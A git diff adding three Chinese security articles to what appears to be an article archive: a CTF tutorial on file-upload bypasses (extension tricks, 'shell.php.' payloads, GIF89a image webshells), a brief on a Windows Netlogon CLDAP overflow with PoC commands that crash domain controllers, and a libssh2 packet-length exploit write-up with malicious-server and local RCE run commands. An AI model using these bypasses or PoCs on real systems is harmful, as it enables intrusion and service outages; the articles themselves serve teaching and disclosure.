diff --git a/data.json b/data.json index c675fc03..a83fe24b 100644 --- a/data.json +++ b/data.json @@ -21383,5 +21383,8 @@ "https://mp.weixin.qq.com/s/NL2Oa8h__B4pquR5ppN9NQ": "Webmin 2.641 修复三个漏洞,其中包括一个严重的身份验证绕过漏洞", "https://mp.weixin.qq.com/s/Rk9z5dbGcsGAv1wiCpH_VA": "漏洞预警 | 大蚂蚁即时通讯系统任意文件上传漏洞", "https://mp.weixin.qq.com/s/NyKqP_h4lq9qkqW8gVJN0w": "FFmpeg 严重漏洞允许攻击者利用媒体文件进行攻击", - "https://mp.weixin.qq.com/s/KDPO1p04xSVJGchnSC-qAQ": "Shannon:Keygraph 开源 AI 渗透测试框架,从源码分析到真实漏洞利用" + "https://mp.weixin.qq.com/s/KDPO1p04xSVJGchnSC-qAQ": "Shannon:Keygraph 开源 AI 渗透测试框架,从源码分析到真实漏洞利用", + "https://mp.weixin.qq.com/s/3MEUCzesYJmxq1aHAreM4A": "libssh2 CVE-2026-55200 PoC 和本地 RCE", + "https://mp.weixin.qq.com/s/CbxafV85UwNkyL7lSRksrQ": "CVE-2026-41089:Windows Netlogon 通过 CLDAP 堆栈缓冲区溢出进行远程代码执行漏洞", + "https://mp.weixin.qq.com/s/WFYj3seeH2_xti7RLU16vQ": "CTF比赛入门第十期:文件上传漏洞全解" } \ No newline at end of file diff --git a/doc/2026-06/CTF比赛入门第十期:文件上传漏洞全解.md b/doc/2026-06/CTF比赛入门第十期:文件上传漏洞全解.md new file mode 100644 index 00000000..69c7fd2c --- /dev/null +++ b/doc/2026-06/CTF比赛入门第十期:文件上传漏洞全解.md @@ -0,0 +1,215 @@ +# CTF比赛入门第十期:文件上传漏洞全解 +点击关注👉 + 点击关注👉 网络安全学习室 2026-06-24 03:20 + +## 一、什么是文件上传漏洞?(通俗零基础理解) + +首先摒弃复杂专业术语,用赛场实战逻辑理解: + +大部分网站、后台系统、Web题目,都支持**图片、文件上传功能** +,比如上传头像、上传附件、上传文档等。开发者为了安全,会设置限制:**只允许上传jpg、png、gif等合法图片文件,禁止上传可执行脚本文件** +。 + +但如果网站的**文件校验逻辑不严谨、过滤规则残缺** +,攻击者就可以通过各种绕过方式,**突破文件格式限制,上传恶意脚本文件** +。当服务器解析执行该脚本后,我们就能实现任意代码执行、读取网站源码、获取Flag、控制服务器,这就是**文件上传漏洞** +。 +### 核心赛场特点(区别于SSTI、逻辑漏洞) + +1、**操作直观** +:无需构造URL参数,直接上传文件即可测试,上手门槛极低; + +2、**分值极高** +:属于高危漏洞,比赛中分值普遍高于普通逻辑漏洞; + +3、**题型固定** +:所有上传题的核心都是「绕过过滤,上传可执行文件」; + +4、**无语言限制** +:不局限PHP、Python,适配所有Web开发框架。 +## 二、CTF上传漏洞核心校验方式(出题人核心套路) + +想要绕过上传限制,首先要摸清赛场三种主流文件校验方式,难度由低到高,对应不同绕过思路,这是解题的核心前提: +### 1、前端JS校验(最简单、新手秒杀题) + +校验逻辑:仅在网页前端通过JS判断文件后缀,禁止脚本文件上传,后端无任何校验。 + +漏洞缺陷:前端校验完全可控,用户可随意篡改,属于纯摆设校验。 +### 2、后端后缀校验(赛场高频基础题) + +校验逻辑:后端获取文件名后缀,黑名单禁止php、py、jsp等脚本后缀,白名单仅允许jpg、png、gif。 + +漏洞缺陷:过滤不全面,存在大量后缀绕过、特殊字符绕过漏洞。 +### 3、文件头MIME校验(进阶主流题) + +校验逻辑:不仅校验文件名,还会读取文件头部二进制信息,判断是否为真实图片,同时校验文件上传类型。 + +漏洞缺陷:可伪造文件头,伪装成图片,实现图片马绕过。 +## 三、CTF零基础通用上传绕过技巧(全覆盖、赛场直接用) + +整理新生赛、校赛**通杀绕过方法** +,从简单到进阶,新手直接按顺序测试,适配所有入门上传题型。 +### 1、前端JS校验绕过(最简方法) + +**适用场景** +:选择脚本文件直接提示上传失败,无需发包即可拦截。 + +**绕过思路** +: + +① 先准备一张合法图片(jpg/png),正常上传,确认上传功能可用; + +② 打开浏览器开发者工具,直接删除页面所有上传校验JS代码; + +③ 直接选择恶意脚本文件上传,即可成功绕过。 + +**快捷懒人法** +:抓包上传,本地文件随便改,直接绕过前端所有限制。 +### 2、文件后缀绕过(黑名单过滤专用) + +**适用场景** +:禁止上传php、py等脚本后缀,但未过滤特殊后缀。 + +**通用绕过后缀(赛场必记)** +: + +php3、php4、php5、phtml、pht、pyc、jspx 等小众可解析后缀; + +原理:服务器默认支持解析上述后缀,而出题人黑名单未全覆盖,直接绕过过滤。 +### 3、特殊字符后缀绕过(空格/点绕过) + +**适用场景** +:严格过滤常规脚本后缀,无特殊字符过滤。 + +**绕过Payload** +:shell.php. 、shell.php%20 + +原理:Windows服务器会自动忽略文件名末尾的空格和小数点,上传后自动解析为shell.php,成功执行脚本。 +### 4、图片马绕过(白名单+文件头校验专用) + +**适用场景** +:仅允许上传图片,校验文件头,常规脚本文件直接拦截。 + +**制作方法** +: + +① 用记事本打开,写入图片文件头GIF89a; + +② 换行写入恶意脚本代码; + +③ 将文件命名为shell.jpg,伪装成图片上传; + +原理:文件头为合法图片格式,后端校验通过,配合文件包含漏洞即可解析执行脚本。 +## 四、三大经典上传真题逐题拆解(零基础可复现) + +结合本期所有知识点,拆解CTF赛场最具代表性的三类上传题型,覆盖入门全部考点,看完直接上手做题。 +### 题型1:前端校验绕过签到题(新手送分题) + +**题目场景** +:页面有文件上传功能,本地选择.php脚本文件直接弹窗提示「文件格式不合法」,选择图片可正常上传,抓包无后端额外过滤。 + +**解题步骤** +: + +1、判断漏洞类型:本地弹窗拦截,属于前端JS校验,无后端防护; + +2、开启BP抓包,直接选择脚本文件上传,拦截数据包; + +3、直接放行数据包,成功上传恶意脚本文件; + +4、访问上传文件地址,执行代码获取Flag,解题完成。 +### 题型2:黑名单后缀过滤绕过(高频考题) + +**题目场景** +:后端禁止上传.php、.py、.jsp文件,提示「禁止上传可执行脚本文件」,允许图片、文本文件上传。 + +**解题思路** +:小众后缀绕过 + +1、将恶意脚本文件重命名为shell.phtml; + +2、直接上传文件,绕过黑名单过滤; + +3、服务器正常解析phtml后缀,执行脚本获取权限与Flag。 +### 题型3:图片马+文件包含组合题型(进阶必考) + +**题目场景** +:仅允许jpg/png/gif图片上传,校验文件头,上传脚本文件直接拦截,同时页面存在文件包含漏洞。 + +**解题步骤** +: + +1、制作GIF图片马,头部写入GIF89a,内置执行脚本; + +2、命名为flag.jpg成功上传,获取图片上传地址; + +3、利用页面文件包含漏洞,访问上传的图片文件地址; + +4、服务器解析图片中的脚本代码,成功执行命令读取Flag。 +## 五、赛场标准化解题流程(新手无脑套用) + +针对所有CTF入门文件上传题型,总结一套固定解题流程,无需思考,按步骤测试即可通关: + +**第一步:判断校验位置** + +本地选文件直接报错 → 前端校验,直接抓包上传绕过; + +上传发包后报错 → 后端校验,进入后缀/字符绕过测试。 + +**第二步:判断过滤规则** + +拦截脚本后缀 → 测试小众后缀、空格、小数点绕过; + +仅允许图片、校验文件头 → 制作图片马绕过。 + +**第三步:确认文件解析执行** + +上传成功后,直接访问文件地址,可执行代码直接拿Flag; + +无法直接执行则搭配文件包含漏洞解析执行。 +## 六、新手高频避坑指南(赛场少丢分) + +1、**区分黑白名单过滤** + +黑名单是「禁止某些后缀」,可绕过空间极大;白名单是「仅允许指定后缀」,只能用图片马+文件包含组合绕过,切勿盲目测试后缀。 + +2、**不要混淆系统环境** + +空格、小数点绕过仅适用于Windows服务器,Linux服务器无效,Linux优先使用小众后缀绕过。 + +3、**图片马必须带合法文件头** + +无GIF89a、PNG文件头的伪造图片,会被后端文件头校验拦截,导致上传失败。 + +4、**上传成功不代表执行成功** + +部分题目仅允许上传、禁止直接访问,必须结合文件包含、本地渲染漏洞才能执行脚本。 +## 七、课后实操练习(本期专属上传漏洞) +### 练习1(基础前端绕过) + +题目场景:文件上传功能前端拦截脚本文件,后端无任何过滤,可正常上传图片。 + +要求:绕过前端限制,成功上传恶意脚本文件并获取Flag。 +### 练习2(黑名单后缀绕过) + +题目场景:后端过滤php、py后缀,允许其余格式文件上传,服务器支持phtml后缀解析。 + +要求:利用小众后缀绕过过滤,实现代码执行。 +### 文末学习福利 + +如果你也是零基础、想参加CTF比赛但不知道从哪开始, +可以 +点击文末 +阅读原文 +领取200节攻防教程, +帮你少走弯路。 +后续我会持续更新网安实战、就业、副业相关干货,关注我,带你从零基础一步步靠网安变现。 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_gif/iaLzURuoralYx8yXB4LvFH5iaWSZLQIibIy0cjSua3jS1U4ibv8YxBJtIbq5qiahPnPyjH1eicWEbpedhFmOLmYozvFA/640?wx_fmt=gif&from=appmsg&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=17 "") + +## 八、下期预告(第十一期全新题材) + +本期我们脱离代码注入、逻辑绕过题型,彻底吃透**CTF文件上传漏洞** +,补齐Web漏洞核心短板! + + diff --git a/doc/2026-06/CVE-2026-41089:Windows Netlogon 通过 CLDAP 堆栈缓冲区溢出进行远程代码执行漏洞.md b/doc/2026-06/CVE-2026-41089:Windows Netlogon 通过 CLDAP 堆栈缓冲区溢出进行远程代码执行漏洞.md new file mode 100644 index 00000000..cf0f0df6 --- /dev/null +++ b/doc/2026-06/CVE-2026-41089:Windows Netlogon 通过 CLDAP 堆栈缓冲区溢出进行远程代码执行漏洞.md @@ -0,0 +1,72 @@ +# CVE-2026-41089:Windows Netlogon 通过 CLDAP 堆栈缓冲区溢出进行远程代码执行漏洞 + Ots安全 2026-06-24 03:01 + +**威胁简报** + + +**恶意软件** + + +**漏洞攻击** + +一个精心构造的 UDP 数据包发送到端口 389,即可使任何未打补丁的 Windows 域控制器上的 LSASS 内部 528 字节的堆栈缓冲区溢出。该进程崩溃。域控制器将在大约 60 秒后重启。无需身份验证。 + +**根本原因** + +NlGetLocalPingResponse分配一个 528 字节的栈缓冲区并将其交给BuildSamLogonResponse。该函数调用NetpLogonPutUnicodeString 将服务器名称、域名、GUID 和攻击者控制的用户名写入缓冲区。 + +该漏洞:NetpLogonPutUnicodeString接收到的最大长度(以字节为单位)被当作 WCHAR 计数处理。通过此路径写入的每个字符串占用的空间是预期空间的两倍。CLDAP 过滤器中的“User”字段(最多 130 个 WCHAR,网络传输 260 字节)导致总写入量超过 528 字节的限制。 + +``` +I_NetLogonLdapLookupEx +  -> NlGetLocalPingResponse           // 528-byte stack buffer +    -> LogonRequestHandler +      -> BuildSamLogonResponse +        -> NetpLogonPutUnicodeString   // byte/WCHAR size confusion +``` + + +**用法** + +``` +# Connectivity test (short username, no overflow) +python3 poc.py 10.0.50.21 corp.local +  +# Default overflow attempt +python3 poc.py 10.0.50.21 corp.local -l 130 +  +# Larger payload, longer timeout for slow networks +python3 poc.py 10.0.50.21 corp.local -l 200 -t 10 +``` + + +**工作原理** + +**第一阶段:**使用用户名“testuser”进行正常的 CLDAP ping 测试,确认目标在 UDP 389 端口上响应。 + +**第二阶段:**数据包结构相同,但用户名是超过 130 个字符的“A”。这会将序列化数据推过堆栈缓冲区边界。如果 LSASS 崩溃,接收操作将超时。 + +**第三阶段:**经过一段可配置的延迟后,进行第二次常规 ping 测试,检查数据中心是否仍然在线。如果未收到响应,则确认 LSASS 崩溃。 + +溢出会触发拒绝服务(LSASS崩溃,数据中心重启)。理论上,可以通过堆栈损坏实现远程代码执行。此概念验证不会尝试执行代码。 + + +**项目地址:** + +https://github.com/0xABCD01/CVE-2026-41089 + +**END** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNsFJyIuL0FHKf2C29asEeFvUMcyQmM0oLduWq5FsGx4seEUWFo9J0CCjqEIYX3JTJ6iauznNyX0gYvoibt1YBPkPNSQG7Wuh0m9ZVb4mUTA4/640?wx_fmt=jpeg&from=appmsg "") + + +公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址 + +排版 编辑 | Ots 小安  + +采集 翻译 | Ots Ai牛马 + +公众号 | +AnQuan7 (Ots安全) + diff --git a/doc/2026-06/libssh2 CVE-2026-55200 PoC 和本地 RCE.md b/doc/2026-06/libssh2 CVE-2026-55200 PoC 和本地 RCE.md new file mode 100644 index 00000000..3cc444ae --- /dev/null +++ b/doc/2026-06/libssh2 CVE-2026-55200 PoC 和本地 RCE.md @@ -0,0 +1,230 @@ +# libssh2 CVE-2026-55200 PoC 和本地 RCE + Ots安全 2026-06-24 03:01 + +**威胁简报** + + +**恶意软件** + + +**漏洞攻击** + +此目录包含针对 CVE-2026-55200 的本地研究成果,CVE-2026-55200packet_length是 libssh2ssh2_transport_read()传输解析器路径中未检查的 SSH 条件。 + +**研究状态:** +算术验证器、加密 SSH 触发框架和受控本地 RCE 框架已验证。 +> 项目地址: + +> https://github.com/bikini/exploitarium/tree/main/libssh2-cve-2026-55200-poc +> + + +**概括** + +libssh2 1.11.1 及更高版本在一个完整的数据包解密路径中接受了攻击者控制的 SSH 数据包长度,而没有首先强制执行 RFC 规定的 libssh2 数据包最大长度。 + +易受攻击的源结构如下: + +``` +total_num = 4 +packet_length = decoded SSH packet_length field +reject only if packet_length < 1 +total_num += packet_length + mac_len + auth_len +reject if total_num > 35000 or total_num == 0 +allocate total_num bytes +``` + + +使用packet_length=0xffffffff、mac_len=0和auth_len=16,易受攻击的 C 表达式可以产生分配大小19: + +``` +packet_length + mac_len + auth_len == 15  modulo 2^32 +4 + 15 == 19 +``` + + +原始数据packet_length仍然保留。即使在分配决策已经做出之后,0xffffffff后续的完整数据包处理仍然可以使用从数据包长度推导出的大小,包括样式长度。packet_length - 1 + +上游修复packet_length > LIBSSH2_PACKET_MAXPAYLOAD在添加之前就被拒绝了。 + +**文件** +- poc/cve_2026_55200_probe.c- 独立的 C11 算术验证器。 + +- poc/libpwn_cve_2026_55200_server.py- 最小的恶意 SSH 服务器/触发器脚手架。 + +- poc/libpwn_local_rce_harness.c- 受控的本地易受攻击目标,模拟了封装分配到控制模式。 + +- poc/libpwn_local_rce_exploit.py- 本地漏洞利用驱动程序,覆盖漏洞利用回调并创建 RCE 证明文件。 + +- evidence/2026-06-23-local-harness-output.txt- 早期算术验证证据。 + +**受影响的源路径** + +受影响的路径位于: + +``` +src/transport.c:ssh2_transport_read() +``` + + +修复方案已在上游提交中实现: + +``` +97acf3dfda80c91c3a8c9f2372546301d4a1a7a8 +``` + + +相关修复程序packet_length > LIBSSH2_PACKET_MAXPAYLOAD +在完整数据包路径中易受攻击的添加部分之前添加了一个保护措施。 + +**算术验证器** + +Linux、macOS、WSL 或 MinGW: + +``` +gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe poc/cve_2026_55200_probe.c +./cve_2026_55200_probe +``` + + +使用 MinGW 的 Windows PowerShell: + +``` +gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\poc\cve_2026_55200_probe.c +.\cve_2026_55200_probe.exe +``` + + +实用模式: + +``` +./cve_2026_55200_probe --benign +./cve_2026_55200_probe --native +./cve_2026_55200_probe --check +./cve_2026_55200_probe --packet-length 0xffffffff --mac-len 0 --auth-len 16 +``` + + +预期默认证明条件: + +``` +vulnerable32_decision=accepted +vulnerable32_allocation=19 +fixed32_decision=rejected: out of boundary +native_unpatched_decision=accepted +native_note=source-shaped integer expression wraps before assignment into 64-bit size_t +result=PASS +``` + + +**恶意 SSH 触发** + +本地密码学和算术自测: + +``` +python poc/libpwn_cve_2026_55200_server.py --self-test +``` + + +最小 SSH 握手、密钥派生、服务器到客户端序列号和加密触发器的回环测试: + +``` +python poc/libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0 +``` + + +作为一次性恶意服务器运行,接受挑战客户端的测试: + +``` +python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222 +``` + + +--listen-host针对您的实验室实例进行更改--listen-port。脚本顶部还包含以下内容: + +``` +HOST = "" +PORT = 0 +``` + + +故意打开。 + +服务器协商curve25519-sha256RSA 主机密钥认证,chacha20-poly1305@openssh.com然后发送格式错误的加密服务器到客户端数据包,其解密后的 SSHpacket_length为0xffffffff。 + +**受控局部 RCE 线束** + +``` +#构建本地易受攻击的目标: +gcc -O0 -g -Wall -Wextra -o poc/libpwn_local_rce_harness poc/libpwn_local_rce_harness.c +  +#使用 MinGW 的 Windows PowerShell: +gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c +  +#运行本地漏洞利用驱动程序: +python poc/libpwn_local_rce_exploit.py --harness ./poc/libpwn_local_rce_harness --proof ./poc/libpwn_rce_proof.txt +cat poc/libpwn_rce_proof.txt +  +#Windows PowerShell:  +python poc\libpwn_local_rce_exploit.py +Get-Content poc\libpwn_rce_proof.txt +  +#预期证据: +libpwn-rce-verified +``` + + +该测试框架通过将模型化的 19 字节分配状态溢出到回调指针并创建来证明本地命令的执行libpwn_rce_proof.txt。 + +**64 位注释** + +64 位 Linux 目标仍然是此漏洞的潜在目标。在未打补丁的 libssh2 源代码中,易受攻击的分支会packet_length + mac_len + auth_len先使用 32 位/整数操作数进行计算,然后再将结果添加到内存分配中size_t,因此会0xffffffff + 0 + 16循环到内存分配中15,最终4 + 15变成内存分配大小19。 + +**验证状态** + +已在本地核实: + +``` +python poc\libpwn_cve_2026_55200_server.py --self-test +python poc\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0 +gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c +python poc\libpwn_local_rce_exploit.py +python -m py_compile poc\libpwn_cve_2026_55200_server.py poc\libpwn_local_rce_exploit.py +``` + + +**限制** + +libpwn_cve_2026_55200_server.py这是一个经过本地验证的 CVE 触发器/框架。将其转化为可靠的、针对特定挑战的 flag 读取/远程代码执行 (RCE) 链,仍然取决于目标二进制文件、分配器行为、缓解措施以及挑战如何调用 libssh2。 + +libpwn_local_rce_harness.c这是一个受控的验证目标,并非适用于所有 libssh2 部署的通用漏洞利用程序。它展示了 CTF/HTB 服务仍需匹配或调整的漏洞利用模式。 + +**参考** +- CVE记录:https://www.cve.org/CVERecord?id=CVE-2026-55200 + +- NVD条目:https://nvd.nist.gov/vuln/detail/CVE-2026-55200 + +- 上游修复:https://github.com/libssh2/libssh2/commit/97acf3dfda80c91c3a8c9f2372546301d4a1a7a8 + +- 上游公关:https://github.com/libssh2/libssh2/pull/2052 + +- VulnCheck 安全公告:https://www.vulncheck.com/advisories/libssh2-out-of-bounds-write-via-unchecked-packet-length-in-transport-c + + + +**END** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/zNsFJyIuL0EtQ4ibeFzvPrepibKfHqvXiaeEZ3ZMDtk721cRtYcvYXgwtCKfO54ME3NWJFeH3HdtNic5bsqwVFDaf3E5ux5BoUPAStvxFn68mto/640?wx_fmt=jpeg&from=appmsg "") + + +公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址 + +排版 编辑 | Ots 小安  + +采集 翻译 | Ots Ai牛马 + +公众号 | +AnQuan7 (Ots安全) + +